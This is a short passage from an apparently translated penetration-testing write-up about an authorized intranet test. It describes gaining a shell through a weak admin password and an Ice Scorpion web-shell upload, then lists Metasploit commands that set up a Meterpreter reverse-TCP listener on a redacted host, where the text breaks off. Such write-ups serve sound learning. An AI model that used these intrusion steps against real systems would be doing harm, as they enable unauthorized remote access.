Title: Practical explanation of intranet penetration ideas

0x00 Introduction

This test is a practical test. The test environment is part of the authorized project. The sensitive information content has been coded and is for discussion and learning only. Since I am also a novice in the intranet, some of the msf attack techniques I have used are also very basic. Please give me some advice.

0x01 Get shell

There is nothing to say about the Getshell process, it is nothing more than a simple background weak password upload and then the Ice Scorpion connects to getshell.

After obtaining the shell, the simulated terminal ping 8.8.8.8 has a return package, indicating that the server is interconnected with the external network.

Since it is connected to the external network, you can try to directly use msf's exploit/multi/handler with the Ice Scorpion rebound shell to obtain the session

use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_tcp

set lhost xxx.xxx.xxx.xxxx.